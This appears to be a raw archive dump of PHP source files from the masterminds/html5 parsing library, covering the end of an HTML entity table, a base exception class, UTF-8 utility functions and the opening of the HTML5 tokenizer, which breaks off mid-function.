        'rarrw' => '↝',
        'rAtail' => '⤜',
        'ratail' => '⤚',
        'ratio' => '∶',
        'rationals' => 'ℚ',
        'RBarr' => '⤐',
        'rBarr' => '⤏',
        'rbarr' => '⤍',
        'rbbrk' => '❳',
        'rbrace' => '}',
        'rbrack' => ']',
        'rbrke' => '⦌',
        'rbrksld' => '⦎',
        'rbrkslu' => '⦐',
        'Rcaron' => 'Ř',
        'rcaron' => 'ř',
        'Rcedil' => 'Ŗ',
        'rcedil' => 'ŗ',
        'rceil' => '⌉',
        'rcub' => '}',
        'Rcy' => 'Р',
        'rcy' => 'р',
        'rdca' => '⤷',
        'rdldhar' => '⥩',
        'rdquo' => '”',
        'rdquor' => '”',
        'rdsh' => '↳',
        'Re' => 'ℜ',
        'real' => 'ℜ',
        'realine' => 'ℛ',
        'realpart' => 'ℜ',
        'reals' => 'ℝ',
        'rect' => '▭',
        'REG' => '®',
        'RE' => '®',
        'reg' => '®',
        're' => '®',
        'ReverseElement' => '∋',
        'ReverseEquilibrium' => '⇋',
        'ReverseUpEquilibrium' => '⥯',
        'rfisht' => '⥽',
        'rfloor' => '⌋',
        'Rfr' => 'ℜ',
        'rfr' => '𝔯',
        'rHar' => '⥤',
        'rhard' => '⇁',
        'rharu' => '⇀',
        'rharul' => '⥬',
        'Rho' => 'Ρ',
        'rho' => 'ρ',
        'rhov' => 'ϱ',
        'RightAngleBracket' => '⟩',
        'RightArrow' => '→',
        'Rightarrow' => '⇒',
        'rightarrow' => '→',
        'RightArrowBar' => '⇥',
        'RightArrowLeftArrow' => '⇄',
        'rightarrowtail' => '↣',
        'RightCeiling' => '⌉',
        'RightDoubleBracket' => '⟧',
        'RightDownTeeVector' => '⥝',
        'RightDownVector' => '⇂',
        'RightDownVectorBar' => '⥕',
        'RightFloor' => '⌋',
        'rightharpoondown' => '⇁',
        'rightharpoonup' => '⇀',
        'rightleftarrows' => '⇄',
        'rightleftharpoons' => '⇌',
        'rightrightarrows' => '⇉',
        'rightsquigarrow' => '↝',
        'RightTee' => '⊢',
        'RightTeeArrow' => '↦',
        'RightTeeVector' => '⥛',
        'rightthreetimes' => '⋌',
        'RightTriangle' => '⊳',
        'RightTriangleBar' => '⧐',
        'RightTriangleEqual' => '⊵',
        'RightUpDownVector' => '⥏',
        'RightUpTeeVector' => '⥜',
        'RightUpVector' => '↾',
        'RightUpVectorBar' => '⥔',
        'RightVector' => '⇀',
        'RightVectorBar' => '⥓',
        'ring' => '˚',
        'risingdotseq' => '≓',
        'rlarr' => '⇄',
        'rlhar' => '⇌',
        'rlm' => '‏',
        'rmoust' => '⎱',
        'rmoustache' => '⎱',
        'rnmid' => '⫮',
        'roang' => '⟭',
        'roarr' => '⇾',
        'robrk' => '⟧',
        'ropar' => '⦆',
        'Ropf' => 'ℝ',
        'ropf' => '𝕣',
        'roplus' => '⨮',
        'rotimes' => '⨵',
        'RoundImplies' => '⥰',
        'rpar' => ')',
        'rpargt' => '⦔',
        'rppolint' => '⨒',
        'rrarr' => '⇉',
        'Rrightarrow' => '⇛',
        'rsaquo' => '›',
        'Rscr' => 'ℛ',
        'rscr' => '𝓇',
        'Rsh' => '↱',
        'rsh' => '↱',
        'rsqb' => ']',
        'rsquo' => '’',
        'rsquor' => '’',
        'rthree' => '⋌',
        'rtimes' => '⋊',
        'rtri' => '▹',
        'rtrie' => '⊵',
        'rtrif' => '▸',
        'rtriltri' => '⧎',
        'RuleDelayed' => '⧴',
        'ruluhar' => '⥨',
        'rx' => '℞',
        'Sacute' => 'Ś',
        'sacute' => 'ś',
        'sbquo' => '‚',
        'Sc' => '⪼',
        'sc' => '≻',
        'scap' => '⪸',
        'Scaron' => 'Š',
        'scaron' => 'š',
        'sccue' => '≽',
        'scE' => '⪴',
        'sce' => '⪰',
        'Scedil' => 'Ş',
        'scedil' => 'ş',
        'Scirc' => 'Ŝ',
        'scirc' => 'ŝ',
        'scnap' => '⪺',
        'scnE' => '⪶',
        'scnsim' => '⋩',
        'scpolint' => '⨓',
        'scsim' => '≿',
        'Scy' => 'С',
        'scy' => 'с',
        'sdot' => '⋅',
        'sdotb' => '⊡',
        'sdote' => '⩦',
        'searhk' => '⤥',
        'seArr' => '⇘',
        'searr' => '↘',
        'searrow' => '↘',
        'sect' => '§',
        'sec' => '§',
        'semi' => ';',
        'seswar' => '⤩',
        'setminus' => '∖',
        'setmn' => '∖',
        'sext' => '✶',
        'Sfr' => '𝔖',
        'sfr' => '𝔰',
        'sfrown' => '⌢',
        'sharp' => '♯',
        'SHCHcy' => 'Щ',
        'shchcy' => 'щ',
        'SHcy' => 'Ш',
        'shcy' => 'ш',
        'ShortDownArrow' => '↓',
        'ShortLeftArrow' => '←',
        'shortmid' => '∣',
        'shortparallel' => '∥',
        'ShortRightArrow' => '→',
        'ShortUpArrow' => '↑',
        'shy' => '­',
        'sh' => '­',
        'Sigma' => 'Σ',
        'sigma' => 'σ',
        'sigmaf' => 'ς',
        'sigmav' => 'ς',
        'sim' => '∼',
        'simdot' => '⩪',
        'sime' => '≃',
        'simeq' => '≃',
        'simg' => '⪞',
        'simgE' => '⪠',
        'siml' => '⪝',
        'simlE' => '⪟',
        'simne' => '≆',
        'simplus' => '⨤',
        'simrarr' => '⥲',
        'slarr' => '←',
        'SmallCircle' => '∘',
        'smallsetminus' => '∖',
        'smashp' => '⨳',
        'smeparsl' => '⧤',
        'smid' => '∣',
        'smile' => '⌣',
        'smt' => '⪪',
        'smte' => '⪬',
        'smtes' => '⪬︀',
        'SOFTcy' => 'Ь',
        'softcy' => 'ь',
        'sol' => '/',
        'solb' => '⧄',
        'solbar' => '⌿',
        'Sopf' => '𝕊',
        'sopf' => '𝕤',
        'spades' => '♠',
        'spadesuit' => '♠',
        'spar' => '∥',
        'sqcap' => '⊓',
        'sqcaps' => '⊓︀',
        'sqcup' => '⊔',
        'sqcups' => '⊔︀',
        'Sqrt' => '√',
        'sqsub' => '⊏',
        'sqsube' => '⊑',
        'sqsubset' => '⊏',
        'sqsubseteq' => '⊑',
        'sqsup' => '⊐',
        'sqsupe' => '⊒',
        'sqsupset' => '⊐',
        'sqsupseteq' => '⊒',
        'squ' => '□',
        'Square' => '□',
        'square' => '□',
        'SquareIntersection' => '⊓',
        'SquareSubset' => '⊏',
        'SquareSubsetEqual' => '⊑',
        'SquareSuperset' => '⊐',
        'SquareSupersetEqual' => '⊒',
        'SquareUnion' => '⊔',
        'squarf' => '▪',
        'squf' => '▪',
        'srarr' => '→',
        'Sscr' => '𝒮',
        'sscr' => '𝓈',
        'ssetmn' => '∖',
        'ssmile' => '⌣',
        'sstarf' => '⋆',
        'Star' => '⋆',
        'star' => '☆',
        'starf' => '★',
        'straightepsilon' => 'ϵ',
        'straightphi' => 'ϕ',
        'strns' => '¯',
        'Sub' => '⋐',
        'sub' => '⊂',
        'subdot' => '⪽',
        'subE' => '⫅',
        'sube' => '⊆',
        'subedot' => '⫃',
        'submult' => '⫁',
        'subnE' => '⫋',
        'subne' => '⊊',
        'subplus' => '⪿',
        'subrarr' => '⥹',
        'Subset' => '⋐',
        'subset' => '⊂',
        'subseteq' => '⊆',
        'subseteqq' => '⫅',
        'SubsetEqual' => '⊆',
        'subsetneq' => '⊊',
        'subsetneqq' => '⫋',
        'subsim' => '⫇',
        'subsub' => '⫕',
        'subsup' => '⫓',
        'succ' => '≻',
        'succapprox' => '⪸',
        'succcurlyeq' => '≽',
        'Succeeds' => '≻',
        'SucceedsEqual' => '⪰',
        'SucceedsSlantEqual' => '≽',
        'SucceedsTilde' => '≿',
        'succeq' => '⪰',
        'succnapprox' => '⪺',
        'succneqq' => '⪶',
        'succnsim' => '⋩',
        'succsim' => '≿',
        'SuchThat' => '∋',
        'Sum' => '∑',
        'sum' => '∑',
        'sung' => '♪',
        'Sup' => '⋑',
        'sup' => '³',
        'sup1' => '¹',
        'sup2' => '²',
        'sup3' => '³',
        'supdot' => '⪾',
        'supdsub' => '⫘',
        'supE' => '⫆',
        'supe' => '⊇',
        'supedot' => '⫄',
        'Superset' => '⊃',
        'SupersetEqual' => '⊇',
        'suphsol' => '⟉',
        'suphsub' => '⫗',
        'suplarr' => '⥻',
        'supmult' => '⫂',
        'supnE' => '⫌',
        'supne' => '⊋',
        'supplus' => '⫀',
        'Supset' => '⋑',
        'supset' => '⊃',
        'supseteq' => '⊇',
        'supseteqq' => '⫆',
        'supsetneq' => '⊋',
        'supsetneqq' => '⫌',
        'supsim' => '⫈',
        'supsub' => '⫔',
        'supsup' => '⫖',
        'swarhk' => '⤦',
        'swArr' => '⇙',
        'swarr' => '↙',
        'swarrow' => '↙',
        'swnwar' => '⤪',
        'szlig' => 'ß',
        'szli' => 'ß',
        'Tab' => '	',
        'target' => '⌖',
        'Tau' => 'Τ',
        'tau' => 'τ',
        'tbrk' => '⎴',
        'Tcaron' => 'Ť',
        'tcaron' => 'ť',
        'Tcedil' => 'Ţ',
        'tcedil' => 'ţ',
        'Tcy' => 'Т',
        'tcy' => 'т',
        'tdot' => '⃛',
        'telrec' => '⌕',
        'Tfr' => '𝔗',
        'tfr' => '𝔱',
        'there4' => '∴',
        'Therefore' => '∴',
        'therefore' => '∴',
        'Theta' => 'Θ',
        'theta' => 'θ',
        'thetasym' => 'ϑ',
        'thetav' => 'ϑ',
        'thickapprox' => '≈',
        'thicksim' => '∼',
        'ThickSpace' => '  ',
        'thinsp' => ' ',
        'ThinSpace' => ' ',
        'thkap' => '≈',
        'thksim' => '∼',
        'THORN' => 'Þ',
        'THOR' => 'Þ',
        'thorn' => 'þ',
        'thor' => 'þ',
        'Tilde' => '∼',
        'tilde' => '˜',
        'TildeEqual' => '≃',
        'TildeFullEqual' => '≅',
        'TildeTilde' => '≈',
        'times' => '×',
        'time' => '×',
        'timesb' => '⊠',
        'timesbar' => '⨱',
        'timesd' => '⨰',
        'tint' => '∭',
        'toea' => '⤨',
        'top' => '⊤',
        'topbot' => '⌶',
        'topcir' => '⫱',
        'Topf' => '𝕋',
        'topf' => '𝕥',
        'topfork' => '⫚',
        'tosa' => '⤩',
        'tprime' => '‴',
        'TRADE' => '™',
        'trade' => '™',
        'triangle' => '▵',
        'triangledown' => '▿',
        'triangleleft' => '◃',
        'trianglelefteq' => '⊴',
        'triangleq' => '≜',
        'triangleright' => '▹',
        'trianglerighteq' => '⊵',
        'tridot' => '◬',
        'trie' => '≜',
        'triminus' => '⨺',
        'TripleDot' => '⃛',
        'triplus' => '⨹',
        'trisb' => '⧍',
        'tritime' => '⨻',
        'trpezium' => '⏢',
        'Tscr' => '𝒯',
        'tscr' => '𝓉',
        'TScy' => 'Ц',
        'tscy' => 'ц',
        'TSHcy' => 'Ћ',
        'tshcy' => 'ћ',
        'Tstrok' => 'Ŧ',
        'tstrok' => 'ŧ',
        'twixt' => '≬',
        'twoheadleftarrow' => '↞',
        'twoheadrightarrow' => '↠',
        'Uacute' => 'Ú',
        'Uacut' => 'Ú',
        'uacute' => 'ú',
        'uacut' => 'ú',
        'Uarr' => '↟',
        'uArr' => '⇑',
        'uarr' => '↑',
        'Uarrocir' => '⥉',
        'Ubrcy' => 'Ў',
        'ubrcy' => 'ў',
        'Ubreve' => 'Ŭ',
        'ubreve' => 'ŭ',
        'Ucirc' => 'Û',
        'Ucir' => 'Û',
        'ucirc' => 'û',
        'ucir' => 'û',
        'Ucy' => 'У',
        'ucy' => 'у',
        'udarr' => '⇅',
        'Udblac' => 'Ű',
        'udblac' => 'ű',
        'udhar' => '⥮',
        'ufisht' => '⥾',
        'Ufr' => '𝔘',
        'ufr' => '𝔲',
        'Ugrave' => 'Ù',
        'Ugrav' => 'Ù',
        'ugrave' => 'ù',
        'ugrav' => 'ù',
        'uHar' => '⥣',
        'uharl' => '↿',
        'uharr' => '↾',
        'uhblk' => '▀',
        'ulcorn' => '⌜',
        'ulcorner' => '⌜',
        'ulcrop' => '⌏',
        'ultri' => '◸',
        'Umacr' => 'Ū',
        'umacr' => 'ū',
        'uml' => '¨',
        'um' => '¨',
        'UnderBar' => '_',
        'UnderBrace' => '⏟',
        'UnderBracket' => '⎵',
        'UnderParenthesis' => '⏝',
        'Union' => '⋃',
        'UnionPlus' => '⊎',
        'Uogon' => 'Ų',
        'uogon' => 'ų',
        'Uopf' => '𝕌',
        'uopf' => '𝕦',
        'UpArrow' => '↑',
        'Uparrow' => '⇑',
        'uparrow' => '↑',
        'UpArrowBar' => '⤒',
        'UpArrowDownArrow' => '⇅',
        'UpDownArrow' => '↕',
        'Updownarrow' => '⇕',
        'updownarrow' => '↕',
        'UpEquilibrium' => '⥮',
        'upharpoonleft' => '↿',
        'upharpoonright' => '↾',
        'uplus' => '⊎',
        'UpperLeftArrow' => '↖',
        'UpperRightArrow' => '↗',
        'Upsi' => 'ϒ',
        'upsi' => 'υ',
        'upsih' => 'ϒ',
        'Upsilon' => 'Υ',
        'upsilon' => 'υ',
        'UpTee' => '⊥',
        'UpTeeArrow' => '↥',
        'upuparrows' => '⇈',
        'urcorn' => '⌝',
        'urcorner' => '⌝',
        'urcrop' => '⌎',
        'Uring' => 'Ů',
        'uring' => 'ů',
        'urtri' => '◹',
        'Uscr' => '𝒰',
        'uscr' => '𝓊',
        'utdot' => '⋰',
        'Utilde' => 'Ũ',
        'utilde' => 'ũ',
        'utri' => '▵',
        'utrif' => '▴',
        'uuarr' => '⇈',
        'Uuml' => 'Ü',
        'Uum' => 'Ü',
        'uuml' => 'ü',
        'uum' => 'ü',
        'uwangle' => '⦧',
        'vangrt' => '⦜',
        'varepsilon' => 'ϵ',
        'varkappa' => 'ϰ',
        'varnothing' => '∅',
        'varphi' => 'ϕ',
        'varpi' => 'ϖ',
        'varpropto' => '∝',
        'vArr' => '⇕',
        'varr' => '↕',
        'varrho' => 'ϱ',
        'varsigma' => 'ς',
        'varsubsetneq' => '⊊︀',
        'varsubsetneqq' => '⫋︀',
        'varsupsetneq' => '⊋︀',
        'varsupsetneqq' => '⫌︀',
        'vartheta' => 'ϑ',
        'vartriangleleft' => '⊲',
        'vartriangleright' => '⊳',
        'Vbar' => '⫫',
        'vBar' => '⫨',
        'vBarv' => '⫩',
        'Vcy' => 'В',
        'vcy' => 'в',
        'VDash' => '⊫',
        'Vdash' => '⊩',
        'vDash' => '⊨',
        'vdash' => '⊢',
        'Vdashl' => '⫦',
        'Vee' => '⋁',
        'vee' => '∨',
        'veebar' => '⊻',
        'veeeq' => '≚',
        'vellip' => '⋮',
        'Verbar' => '‖',
        'verbar' => '|',
        'Vert' => '‖',
        'vert' => '|',
        'VerticalBar' => '∣',
        'VerticalLine' => '|',
        'VerticalSeparator' => '❘',
        'VerticalTilde' => '≀',
        'VeryThinSpace' => ' ',
        'Vfr' => '𝔙',
        'vfr' => '𝔳',
        'vltri' => '⊲',
        'vnsub' => '⊂⃒',
        'vnsup' => '⊃⃒',
        'Vopf' => '𝕍',
        'vopf' => '𝕧',
        'vprop' => '∝',
        'vrtri' => '⊳',
        'Vscr' => '𝒱',
        'vscr' => '𝓋',
        'vsubnE' => '⫋︀',
        'vsubne' => '⊊︀',
        'vsupnE' => '⫌︀',
        'vsupne' => '⊋︀',
        'Vvdash' => '⊪',
        'vzigzag' => '⦚',
        'Wcirc' => 'Ŵ',
        'wcirc' => 'ŵ',
        'wedbar' => '⩟',
        'Wedge' => '⋀',
        'wedge' => '∧',
        'wedgeq' => '≙',
        'weierp' => '℘',
        'Wfr' => '𝔚',
        'wfr' => '𝔴',
        'Wopf' => '𝕎',
        'wopf' => '𝕨',
        'wp' => '℘',
        'wr' => '≀',
        'wreath' => '≀',
        'Wscr' => '𝒲',
        'wscr' => '𝓌',
        'xcap' => '⋂',
        'xcirc' => '◯',
        'xcup' => '⋃',
        'xdtri' => '▽',
        'Xfr' => '𝔛',
        'xfr' => '𝔵',
        'xhArr' => '⟺',
        'xharr' => '⟷',
        'Xi' => 'Ξ',
        'xi' => 'ξ',
        'xlArr' => '⟸',
        'xlarr' => '⟵',
        'xmap' => '⟼',
        'xnis' => '⋻',
        'xodot' => '⨀',
        'Xopf' => '𝕏',
        'xopf' => '𝕩',
        'xoplus' => '⨁',
        'xotime' => '⨂',
        'xrArr' => '⟹',
        'xrarr' => '⟶',
        'Xscr' => '𝒳',
        'xscr' => '𝓍',
        'xsqcup' => '⨆',
        'xuplus' => '⨄',
        'xutri' => '△',
        'xvee' => '⋁',
        'xwedge' => '⋀',
        'Yacute' => 'Ý',
        'Yacut' => 'Ý',
        'yacute' => 'ý',
        'yacut' => 'ý',
        'YAcy' => 'Я',
        'yacy' => 'я',
        'Ycirc' => 'Ŷ',
        'ycirc' => 'ŷ',
        'Ycy' => 'Ы',
        'ycy' => 'ы',
        'yen' => '¥',
        'ye' => '¥',
        'Yfr' => '𝔜',
        'yfr' => '𝔶',
        'YIcy' => 'Ї',
        'yicy' => 'ї',
        'Yopf' => '𝕐',
        'yopf' => '𝕪',
        'Yscr' => '𝒴',
        'yscr' => '𝓎',
        'YUcy' => 'Ю',
        'yucy' => 'ю',
        'Yuml' => 'Ÿ',
        'yuml' => 'ÿ',
        'yum' => 'ÿ',
        'Zacute' => 'Ź',
        'zacute' => 'ź',
        'Zcaron' => 'Ž',
        'zcaron' => 'ž',
        'Zcy' => 'З',
        'zcy' => 'з',
        'Zdot' => 'Ż',
        'zdot' => 'ż',
        'zeetrf' => 'ℨ',
        'ZeroWidthSpace' => '​',
        'Zeta' => 'Ζ',
        'zeta' => 'ζ',
        'Zfr' => 'ℨ',
        'zfr' => '𝔷',
        'ZHcy' => 'Ж',
        'zhcy' => 'ж',
        'zigrarr' => '⇝',
        'Zopf' => 'ℤ',
        'zopf' => '𝕫',
        'Zscr' => '𝒵',
        'zscr' => '𝓏',
        'zwj' => '‍',
        'zwnj' => '‌',
    );
}
vendor/masterminds/html5/src/HTML5/Exception.php000066600000000201151150442750015510 0ustar00<?php

namespace Masterminds\HTML5;

/**
 * The base exception for the HTML5 project.
 */
class Exception extends \Exception
{
}
vendor/masterminds/html5/src/HTML5/Parser/UTF8Utils.php000066600000016154151150442750016573 0ustar00<?php

namespace Masterminds\HTML5\Parser;

/*
Portions based on code from html5lib files with the following copyright:

Copyright 2009 Geoffrey Sneddon <http://gsnedders.com/>

Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the
    "Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:

The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/

use Masterminds\HTML5\Exception;

class UTF8Utils
{
    /**
     * The Unicode replacement character.
     */
    const FFFD = "\xEF\xBF\xBD";

    /**
     * Count the number of characters in a string.
     * UTF-8 aware. This will try (in order) iconv, MB, and finally a custom counter.
     *
     * @param string $string
     *
     * @return int
     */
    public static function countChars($string)
    {
        // Get the length for the string we need.
        if (function_exists('mb_strlen')) {
            return mb_strlen($string, 'utf-8');
        }

        if (function_exists('iconv_strlen')) {
            return iconv_strlen($string, 'utf-8');
        }

        $count = count_chars($string);

        // 0x80 = 0x7F - 0 + 1 (one added to get inclusive range)
        // 0x33 = 0xF4 - 0x2C + 1 (one added to get inclusive range)
        return array_sum(array_slice($count, 0, 0x80)) + array_sum(array_slice($count, 0xC2, 0x33));
    }

    /**
     * Convert data from the given encoding to UTF-8.
     *
     * This has not yet been tested with charactersets other than UTF-8.
     * It should work with ISO-8859-1/-13 and standard Latin Win charsets.
     *
     * @param string $data     The data to convert
     * @param string $encoding A valid encoding. Examples: http://www.php.net/manual/en/mbstring.supported-encodings.php
     *
     * @return string
     */
    public static function convertToUTF8($data, $encoding = 'UTF-8')
    {
        /*
         * From the HTML5 spec: Given an encoding, the bytes in the input stream must be converted
         * to Unicode characters for the tokeniser, as described by the rules for that encoding,
         * except that the leading U+FEFF BYTE ORDER MARK character, if any, must not be stripped
         * by the encoding layer (it is stripped by the rule below). Bytes or sequences of bytes
         * in the original byte stream that could not be converted to Unicode characters must be
         * converted to U+FFFD REPLACEMENT CHARACTER code points.
         */

        // mb_convert_encoding is chosen over iconv because of a bug. The best
        // details for the bug are on http://us1.php.net/manual/en/function.iconv.php#108643
        // which contains links to the actual but reports as well as work around
        // details.
        if (function_exists('mb_convert_encoding')) {
            // mb library has the following behaviors:
            // - UTF-16 surrogates result in false.
            // - Overlongs and outside Plane 16 result in empty strings.

            // Before we run mb_convert_encoding we need to tell it what to do with
            // characters it does not know. This could be different than the parent
            // application executing this library so we store the value, change it
            // to our needs, and then change it back when we are done. This feels
            // a little excessive and it would be great if there was a better way.
            $save = mb_substitute_character();
            mb_substitute_character('none');
            $data = mb_convert_encoding($data, 'UTF-8', $encoding);
            mb_substitute_character($save);
        }
        // @todo Get iconv running in at least some environments if that is possible.
        elseif (function_exists('iconv') && 'auto' !== $encoding) {
            // fprintf(STDOUT, "iconv found\n");
            // iconv has the following behaviors:
            // - Overlong representations are ignored.
            // - Beyond Plane 16 is replaced with a lower char.
            // - Incomplete sequences generate a warning.
            $data = @iconv($encoding, 'UTF-8//IGNORE', $data);
        } else {
            throw new Exception('Not implemented, please install mbstring or iconv');
        }

        /*
         * One leading U+FEFF BYTE ORDER MARK character must be ignored if any are present.
         */
        if ("\xEF\xBB\xBF" === substr($data, 0, 3)) {
            $data = substr($data, 3);
        }

        return $data;
    }

    /**
     * Checks for Unicode code points that are not valid in a document.
     *
     * @param string $data A string to analyze
     *
     * @return array An array of (string) error messages produced by the scanning
     */
    public static function checkForIllegalCodepoints($data)
    {
        // Vestigal error handling.
        $errors = array();

        /*
         * All U+0000 null characters in the input must be replaced by U+FFFD REPLACEMENT CHARACTERs.
         * Any occurrences of such characters is a parse error.
         */
        for ($i = 0, $count = substr_count($data, "\0"); $i < $count; ++$i) {
            $errors[] = 'null-character';
        }

        /*
         * Any occurrences of any characters in the ranges U+0001 to U+0008, U+000B, U+000E to U+001F, U+007F
         * to U+009F, U+D800 to U+DFFF , U+FDD0 to U+FDEF, and characters U+FFFE, U+FFFF, U+1FFFE, U+1FFFF,
         * U+2FFFE, U+2FFFF, U+3FFFE, U+3FFFF, U+4FFFE, U+4FFFF, U+5FFFE, U+5FFFF, U+6FFFE, U+6FFFF, U+7FFFE,
         * U+7FFFF, U+8FFFE, U+8FFFF, U+9FFFE, U+9FFFF, U+AFFFE, U+AFFFF, U+BFFFE, U+BFFFF, U+CFFFE, U+CFFFF,
         * U+DFFFE, U+DFFFF, U+EFFFE, U+EFFFF, U+FFFFE, U+FFFFF, U+10FFFE, and U+10FFFF are parse errors.
         * (These are all control characters or permanently undefined Unicode characters.)
         */
        // Check PCRE is loaded.
        $count = preg_match_all(
            '/(?:
        [\x01-\x08\x0B\x0E-\x1F\x7F] # U+0001 to U+0008, U+000B,  U+000E to U+001F and U+007F
      |
        \xC2[\x80-\x9F] # U+0080 to U+009F
      |
        \xED(?:\xA0[\x80-\xFF]|[\xA1-\xBE][\x00-\xFF]|\xBF[\x00-\xBF]) # U+D800 to U+DFFFF
      |
        \xEF\xB7[\x90-\xAF] # U+FDD0 to U+FDEF
      |
        \xEF\xBF[\xBE\xBF] # U+FFFE and U+FFFF
      |
        [\xF0-\xF4][\x8F-\xBF]\xBF[\xBE\xBF] # U+nFFFE and U+nFFFF (1 <= n <= 10_{16})
      )/x', $data, $matches);
        for ($i = 0; $i < $count; ++$i) {
            $errors[] = 'invalid-codepoint';
        }

        return $errors;
    }
}
vendor/masterminds/html5/src/HTML5/Parser/Tokenizer.php000066600000107273151150442750017001 0ustar00<?php

namespace Masterminds\HTML5\Parser;

use Masterminds\HTML5\Elements;

/**
 * The HTML5 tokenizer.
 *
 * The tokenizer's role is reading data from the scanner and gathering it into
 * semantic units. From the tokenizer, data is emitted to an event handler,
 * which may (for example) create a DOM tree.
 *
 * The HTML5 specification has a detailed explanation of tokenizing HTML5. We
 * follow that specification to the maximum extent that we can. If you find
 * a discrepancy that is not documented, please file a bug and/or submit a
 * patch.
 *
 * This tokenizer is implemented as a recursive descent parser.
 *
 * Within the API documentation, you may see references to the specific section
 * of the HTML5 spec that the code attempts to reproduce. Example: 8.2.4.1.
 * This refers to section 8.2.4.1 of the HTML5 CR specification.
 *
 * @see http://www.w3.org/TR/2012/CR-html5-20121217/
 */
class Tokenizer
{
    protected $scanner;

    protected $events;

    protected $tok;

    /**
     * Buffer for text.
     */
    protected $text = '';

    // When this goes to false, the parser stops.
    protected $carryOn = true;

    protected $textMode = 0; // TEXTMODE_NORMAL;
    protected $untilTag = null;

    const CONFORMANT_XML = 'xml';
    const CONFORMANT_HTML = 'html';
    protected $mode = self::CONFORMANT_HTML;

    /**
     * Create a new tokenizer.
     *
     * Typically, parsing a document involves creating a new tokenizer, giving
     * it a scanner (input) and an event handler (output), and then calling
     * the Tokenizer::parse() method.`
     *
     * @param Scanner      $scanner      A scanner initialized with an input stream.
     * @param EventHandler $eventHandler An event handler, initialized and ready to receive events.
     * @param string       $mode
     */
    public function __construct($scanner, $eventHandler, $mode = self::CONFORMANT_HTML)
    {
        $this->scanner = $scanner;
        $this->events = $eventHandler;
        $this->mode = $mode;
    }

    /**
     * Begin parsing.
     *
     * This will begin scanning the document, tokenizing as it goes.
     * Tokens are emitted into the event handler.
     *
     * Tokenizing will continue until the document is completely
     * read. Errors are emitted into the event handler, but
     * the parser will attempt to continue parsing until the
     * entire input stream is read.
     */
    public function parse()
    {
        do {
            $this->consumeData();
            // FIXME: Add infinite loop protection.
        } while ($this->carryOn);
    }

    /**
     * Set the text mode for the character data reader.
     *
     * HTML5 defines three different modes for reading text:
     * - Normal: Read until a tag is encountered.
     * - RCDATA: Read until a tag is encountered, but skip a few otherwise-
     * special characters.
     * - Raw: Read until a special closing tag is encountered (viz. pre, script)
     *
     * This allows those modes to be set.
     *
     * Normally, setting is done by the event handler via a special return code on
     * startTag(), but it can also be set manually using this function.
     *
     * @param int    $textmode One of Elements::TEXT_*.
     * @param string $untilTag The tag that should stop RAW or RCDATA mode. Normal mode does not
     *                         use this indicator.
     */
    public function setTextMode($textmode, $untilTag = null)
    {
        $this->textMode = $textmode & (Elements::TEXT_RAW | Elements::TEXT_RCDATA);
        $this->untilTag = $untilTag;
    }

    /**
     * Consume a character and make a move.
     * HTML5 8.2.4.1.
     */
    protected function consumeData()
    {
        $tok = $this->scanner->current();

        if ('&' === $tok) {
            // Character reference
            $ref = $this->decodeCharacterReference();
            $this->buffer($ref);

            $tok = $this->scanner->current();
        }

        // Parse tag
        if ('<' === $tok) {
            // Any buffered text data can go out now.
            $this->flushBuffer();

            $tok = $this->scanner->next();

            if (false === $tok) {
                // end of string
                $this->parseError('Illegal tag opening');
            } elseif ('!' === $tok) {
                $this->markupDeclaration();
            } elseif ('/' === $tok) {
                $this->endTag();
            } elseif ('?' === $tok) {
                $this->processingInstruction();
            } elseif ($this->is_alpha($tok)) {
                $this->tagName();
            } else {
                $this->parseError('Illegal tag opening');
                // TODO is this necessary ?
                $this->characterData();
            }

            $tok = $this->scanner->current();
        }

        if (false === $tok) {
            // Handle end of document
            $this->eof();
        } else {
            // Parse character
            switch ($this->textMode) {
                case Elements::TEXT_RAW:
                    $this->rawText($tok);
                    break;

                case Elements::TEXT_RCDATA:
                    $this->rcdata($tok);
                    break;

                default:
                    if ('<' === $tok || '&' === $tok) {
                        break;
                    }

                    // NULL character
                    if ("\00" === $tok) {
                        $this->parseError('Received null character.');

                        $this->text .= $tok;
                        $this->scanner->consume();

                        break;
                    }

                    $this->text .= $this->scanner->charsUntil("<&\0");
            }
        }

        return $this->carryOn;
    }

    /**
     * Parse anything that looks like character data.
     *
     * Different rules apply based on the current text mode.
     *
     * @see Elements::TEXT_RAW Elements::TEXT_RCDATA.
     */
    protected function characterData()
    {
        $tok = $this->scanner->current();
        if (false === $tok) {
            return false;
        }
        switch ($this->textMode) {
            case Elements::TEXT_RAW:
                return $this->rawText($tok);
            case Elements::TEXT_RCDATA:
                return $this->rcdata($tok);
            default:
                if ('<' === $tok || '&' === $tok) {
                    return false;
                }

                return $this->text($tok);
        }
    }

    /**
     * This buffers the current token as character data.
     *
     * @param string $tok The current token.
     *
     * @return bool
     */
    protected function text($tok)
    {
        // This should never happen...
        if (false === $tok) {
            return false;
        }

        // NULL character
        if ("\00" === $tok) {
            $this->parseError('Received null character.');
        }

        $this->buffer($tok);
        $this->scanner->consume();

        return true;
    }

    /**
     * Read text in RAW mode.
     *
     * @param string $tok The current token.
     *
     * @return bool
     */
    protected function rawText($tok)
    {
        if (is_null($this->untilTag)) {
            return $this->text($tok);
        }

        $sequence = '</' . $this->untilTag . '>';
        $txt = $this->readUntilSequence($sequence);
        $this->events->text($txt);
        $this->setTextMode(0);

        return $this->endTag();
    }

    /**
     * Read text in RCDATA mode.
     *
     * @param string $tok The current token.
     *
     * @return bool
     */
    protected function rcdata($tok)
    {
        if (is_null($this->untilTag)) {
            return $this->text($tok);
        }

        $sequence = '</' . $this->untilTag;
        $txt = '';

        $caseSensitive = !Elements::isHtml5Element($this->untilTag);
